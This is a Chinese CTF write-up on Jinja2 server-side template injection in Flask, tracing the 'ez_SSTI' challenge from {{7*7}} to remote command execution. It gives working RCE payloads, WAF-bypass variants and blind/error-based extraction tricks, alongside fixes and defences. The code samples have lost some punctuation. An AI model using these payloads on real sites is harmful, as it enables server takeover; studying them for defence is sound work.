资讯动态

SSTI模板注入攻防:从Jinja2原理到RCE利用链

发布时间:2026/10/17 13:46:11 来源:尧图企业网站定制
周末刷某 CTF 练习平台的新手赛时碰到一道名为ez_SSTI的 Web 题难度标注不高但把**服务端模板注入Server-Side Template Injection**这条利用链讲得明明白白。页面极简一个输入框一个提交按钮后端用 Flask 写了段逻辑把用户提交的名字拼进一句话后回显。看起来比登录框还干净但正是这种“干净”在诱导你忽略渲染层的问题。这篇文章不打算只贴一条 payload而是把我从看到题目到拿下 flag 的完整过程、每一步为什么这样做、以及赛后延伸出来的绕过变体和修复思路全部写清楚。适合刚接触 SSTI、想从原理层面而不是背 payload 层面理解这道题的人。1. 初见题目一个只有输入框的页面反而最可疑1.1 题目环境与最小攻击面进题之后是个很朴素的页面居中一个文本框提示大概是输入你的名字提交后页面会返回Hello, xxx这样的问候语。没有登录、没有跳转、没有管理后台入口整个 Web 应用的攻击面理论上只有这一个参数。用浏览器开发者工具看一眼请求就是一次普通的 GET 请求参数名是name。GET /?nametest HTTP/1.1 Host: target HTTP/1.1 200 OK Content-Type: text/html; charsetutf-8 Hello, test这里有个细节值得注意返回头里的Content-Type是text/html说明服务端确实把结果当成 HTML 页面渲染了而不是纯文本。如果按普通输入框去测可能第一反应是 XSS比如提交scriptalert(1)/script看会不会弹窗。我试了一下没有弹窗浏览器里看到的是被转义后的字符串。这就基本排除反射型 XSS问题不在前端而是服务端渲染环节出了问题。再测一下各种括号和模板语法符号。当我提交{{7*7}}页面直接返回Hello, 49而不是Hello, {{7*7}}到这里基本可以确认用户输入被当成模板表达式执行了这就是标准的 SSTI 入口。1.2 为什么新手赛喜欢拿 SSTI 出题很多新手对 SSTI 有误解觉得它冷门只在 CTF 里出现。实际恰恰相反模板注入在真实业务里非常常见凡是用了模板引擎又习惯把用户输入直接拼接进模板的项目都有可能踩中。Jinja2、Twig、Freemarker、Velocity 这类引擎都有对应的利用手法。出题人选它当第二周赛题核心原因是它的利用链极具“递进感”一开始只是算个乘法然后能读到配置后来能拿到内建函数最后能执行系统命令。每一步的变化都建立在 Python 对象模型的理解上不像有些题目只考一个函数背不背得熟。ez_SSTI这个名字里的ez更像是在降低选手心理门槛但真正吃透这条链的人并不算多。2. 模板注入的本质字符串被错误地当成了代码2.1 从模板语法到渲染结果要理解 SSTI先得知道模板引擎做了什么。Jinja2 是 Flask 默认配套的模板引擎它的核心工作是把模板字符串解析成一棵节点树然后遍历树上的节点生成最终文本。模板里{{ expression }}会被当作表达式求值{% statement %}会被当作控制语句执行。正常开发时模板文件是开发者自己写的比如pHello, {{ name }}!/p这里的name是后端通过render_template传入的变量引擎只会去上下文里找name这个键不会把name本身当代码执行。问题发生在下面这种写法from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) return render_template_string(Hello, name)render_template_string接收的是一整个模板字符串。当用户输入{{7*7}}后实际上传给引擎的模板变成了Hello, {{7*7}}于是7*7作为表达式被求值最终渲染出Hello, 49。2.2 两种模板函数的天壤之别render_template和render_template_string虽然名字只差一个单词风险等级完全不同。render_template(index.html, namename)从模板文件加载文件名由开发者写死用户只能控制变量值。render_template_string(... name)模板内容本身的一部分由用户控制等于把代码执行的入口直接交了出去。真实项目里直接这么写的其实不多但有一些变体很常见。比如邮件模板、报表模板、通知文案模板如果开发图方便把数据库里的模板字段取出来传给render_template_string而模板字段又支持用户编辑一样会中招。所以这道题暴露的并不是一个孤立的写法问题而是一类设计问题凡是允许输入影响模板源文件的地方都要当成代码执行漏洞来对待。2.3 回显点决定了利用难度SSTI 利用的舒适程度取决于回显。这道题的回显非常直接模板渲染后的完整结果会返回给用户所以我们可以先用各种表达式验证引擎行为再一步步构造读取文件、执行命令的链。如果题目把渲染结果过滤掉或改成只有成功/失败两种状态那就得走盲注或时间注入的思路复杂度会高一个量级。先记住一个判断原则模板里的每一个{{ }}都是一个 Python 表达式求值点。模板引擎不会限制你访问哪些对象能不能读到危险对象完全取决于 Jinja2 默认环境里能接触到什么东西。默认环境下一切皆可被对象链访问到。3. 通读利用链从{{7*7}}到执行系统命令3.1 探测阶段的三个动作确认注入点之后我没有直接甩一个网上抄来的长 payload而是分三步确认引擎类型和对象可达性。第一步测基础表达式{{7*7}} - 49 {{7*7}} - 7777777第二个结果说明引擎在处理字符串乘法Python 语义生效了基本可断定是 Python 系模板引擎。第二步读内置配置{{config}}返回了一大段 Flask 的配置对象里面包括SECRET_KEY等敏感信息。能直接读到配置说明当前模板上下文暴露了 Flask 的config全局对象这为后续访问更大范围的对象图开了个好头。第三步找当前对象的来源{{self}}self会返回当前模板对象我们可以从这里往底层 Python 对象层级走。网上很多 payload 其实是通用的但自己跑一遍这三个动作能更直观地理解为什么后面那一长串__class__.__mro__能生效。3.2 Python 对象链一切利用的基石SSTI 从表达式求值变成命令执行靠的是 Python 中“万物皆对象”的特性。任意一个对象都可以通过内置属性向上或向下找到更多对象__class__当前对象所属的类__mro__类的继承关系元组从当前类一路到object__subclasses__某个类的所有直接子类__init__/__globals__找到类初始化函数再拿到该函数所在模块的全局命名空间拿self举例它可能是一个Template对象。self.__class__得到模板类self.__class__.__mro__得到一串类其中一定包含根类object。object.__subclasses__()会返回解释器当前加载的所有类的列表。这个列表里几乎一定会出现subprocess.Popen、os._wrap_close、warnings.catch_warnings这类能间接调用系统命令的类。这个过程可以类比成你被关在一个房间里但房间的墙上有一扇门写着__class__推开后是走廊__mro__走廊尽头有个总电闸__subclasses__。只要电闸能拉房间关不关你其实无所谓。3.3 快速定位可执行命令的类直接在__subclasses__()的一大串类里数索引不现实。我在本机实验时写过一个扫描脚本式 payload把每个类的名字带出来{{ self.__class__.__mro__[1].__subclasses__() }}这条会输出几百个类的名称列表。我们的目标是在里面找带popen这类关键属性的类。CTF 中常见的可利用类有几个类名称调用方式适用场景subprocess.Popen构造子进程对象并读取输出最通用可执行任意命令os._wrap_close找到其__init__.__globals__里的os.popen返回简洁回显稳定warnings.catch_warnings从__init__.__globals__里拿os老牌利用链兼容性好以os._wrap_close为例链路的写法是{{ self.__class__.__mro__[1].__subclasses__()[索引] }}索引需要自己在本机环境里数。在目标环境里可能和本地不同但我们可以用报错信息或遍历结果确认。找到包含popen的类后{{ self.__class__.__mro__[1].__subclasses__()[索引].__init__.__globals__[os].popen(cat /flag).read() }}这里__globals__返回的是一个字典取到os模块后调用popen再用read()读取命令输出。最终页面上会直接显示文件内容。3.4 实战中的完整 payload 与拿 flag 过程目标环境里我通过返回内容看到os._wrap_close所在索引后构造了最终请求GET /?name{{self.__class__.__mro__[1].__subclasses__()[199].__init__.__globals__[os].popen(cat /flag).read()}}返回体里出现了一整段 flag。这里的 199 只是目标环境中的索引不同 Python 版本、不同依赖环境下索引完全不同。想保证稳定理论上应该用__subclasses__()遍历匹配名字再做二次取值但新手赛的题通常环境固定先人工数索引再验证也够用。整个过程比较顺利但真正值得记录的是我中途踩的一个坑直接构造超长 payload 时URL 被网关截断返回 414。后来把 payload 放到 POST 请求体里才正常。这也是一个容易被忽略的现实因素题目说“回显”不代表你可以无限制地在 URL 里塞内容。4. 过滤与绕过的常见变体这道题背后真正想考验的4.1 关键词被过滤时的字符串拼凑赛题的ez版本没有过滤但很多厂商的 WAF 或题目变体喜欢加一层关键词黑名单最常见的过滤目标是class、subclasses、popen、{{。绕过的第一招是在字符串层面拆解敏感词。Jinja2 支持~拼接也支持在 payload 中构造字符串后通过下标取值。比如{{ self[__class__] }}如果连请求参数里的class都被过滤可以换成{{ self[__class__] }}这种方式利用了 Jinja2 词法分析时对字符串字面量的合并处理。还可以配合dict构造{% set a dict(__cla1, ss__2) %}实际打的时候我更喜欢用request.args把真正的关键词放在 URL 参数里模板里只写取参逻辑{{ self.__class__ }}如果模板直接解析到class会被拦截就把关键词拆到参数里{{ self|attr(request.args.a) }}a__class__这里的attr是个过滤器作用等价于属性访问.但写法完全不同可以避开不少只针对.和关键字做正则的过滤规则。4.2 属性访问限制与attr过滤器有些过滤会直接替换.号让self.__class__整个失效。此时attr过滤器几乎是最优解。它的语法是{{ self|attr(__class__) }}等价于self.__class__。把链条整体换掉{{ self|attr(__class__)|attr(__mro__) }}如果目标过滤了__mro__[1]这样的下标写法还可以用|first取第一个元素。由于__mro__的第一个元素通常是当前类而我们要找的是继承链底部的基类所以通常用|last或|attr(__mro__)[1]。对__subclasses__()的调用也可以换成{{ .__class__.__mro__[2].__subclasses__() }}这就是网上一部分“不同写法打同一条链”的来源。4.3 无回显场景下的盲打不是所有 SSTI 都像这道题一样把结果写在页面上。真实靶场里常见两种盲打场景有延时可测、有报错可测。有延时的场景可以走{% if os.popen(sleep 5) %}x{% endif %}如果页面 5 秒后才返回说明命令被执行。时间盲注无法直接读内容但可以配合curl把数据带出到自己的服务器或者用逐字符比较的方式做成布尔盲注。有报错的场景则更直接把读取的文件内容放进一个不存在的变量名中触发 Jinja2 未定义变量报错报错信息会带出文件内容{{ .__class__.__mro__[2].__subclasses__()[索引].__init__.__globals__[os].popen(cat /flag).read()|int }}|int会把字符串转成整数导致异常异常信息里会把原始字符串输出。CTF 里这条技巧叫“报错注出”真实渗透中也常用来对付隐藏回显。4.4 处理下划线、数字、引号被过滤的极限情况如果连_也被过滤可以利用 Jinja2 自带的request对象把所有敏感属性放在请求参数中{{ self|attr(request.args.x) }}参数x传__class__即可模板里不出现任何下划线。数字被过滤可以用字符串长度代替比如用|length表示 0用x|length表示 1。引号被过滤则可以用request.args替代字符串字面量或者用dict的键来自动生成字符串。这些技巧不建议死记核心思路只有两条找等价语法找外部输入。只要模板引擎允许通过request访问 HTTP 参数很多字符层面的过滤都可以被绕过去。5. 为什么这题值得复盘根因、修复与防御纵深5.1 漏洞链的根因拆解回看整道题的根因其实只有一句话用户可控内容被当作模板源码解析。这和 SQL 注入的根因“用户输入被拼接进 SQL 语句”是同一类错误本质上都是数据与代码没有分离。从代码审计的角度看需要重点排查的点有三个有没有render_template_string或等价函数如Template(...)接收了用户输入有没有模板文件动态加载用户可编辑的模板名或模板内容有没有在模板上下文中暴露了过多危险对象ez_SSTI显然符合第一点。现实中我还见过把整段 HTML 存数据库、后台允许运营人员编辑、编辑结果直接进模板渲染的案例危害等级一样。很多团队采购了成熟的模板引擎却忽略了“默认环境”本身就不安全这种疏漏在代码评审里非常容易被漏掉。5.2 修复方案优先从代码层面切断最稳妥的方案永远是不让用户输入成为模板源码。如果只是把某个变量传入模板用标准写法from flask import Flask, request, render_template app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) return render_template(index.html, namename)index.html里固定写pHello, {{ name }}!/p这样用户输入只会作为name的值渲染引擎不会把它解析成模板代码。即使 name 的值里有{{7*7}}输出也是普通字符串因为模板结构是固定的。如果是无法避免动态模板的场景考虑用 Jinja2 的沙箱环境from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment() template env.from_string(user_input) result template.render()但沙箱并不是银弹。Jinja2 的沙箱会对属性访问做限制但历史上也出过绕过漏洞不能因为套了沙箱就放松对输入的约束。更实际的做法是同时限制允许的字符集和长度比如只允许字母和少量符号从源头上封死表达式注入。5.3 纵深防御即使代码有洞也不至于直接 RCE代码修复之外还有几层可以补网关层拦截模板语法特征比如{{、{%、#{这类字符组合但要注意绕过变体。应用层对请求参数做白名单校验拒绝包含__的属性名。部署时以低权限账号运行 Web 服务对/flag等敏感文件做额外权限控制。我实际测试过在容器里用非 root 用户跑 Flask然后把 flag 文件权限设为 400 且属于另一个用户利用链即使打通也读不了文件。这提醒我们漏洞利用的成功率和环境配置强相关不要只盯着一个点修。5.4 赛后的一点个人体会复盘这道题时我在本地写了个包含漏洞的最小 Flask 应用把__subclasses__()的索引一个个打印出来对照折腾了一晚上。但正是这种笨办法让我彻底记住了对象链的走向。之后再打其它模板注入题目不管引擎是 Jinja2、Twig 还是 Freemarker我都能很快画出“从表达式到对象、再从对象到命令”的路径。如果你也是刚开始学 SSTI建议别满足于复制那几条经典 payload。自己改几个变量、故意触发几次报错、观察报错信息里暴露了什么上下文比连刷十道题更有用。这种题的价值不在于它有多难而在于它把服务端模板、Python 对象模型、代码审计三条线拧在一起是少见的高性价比训练题目。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑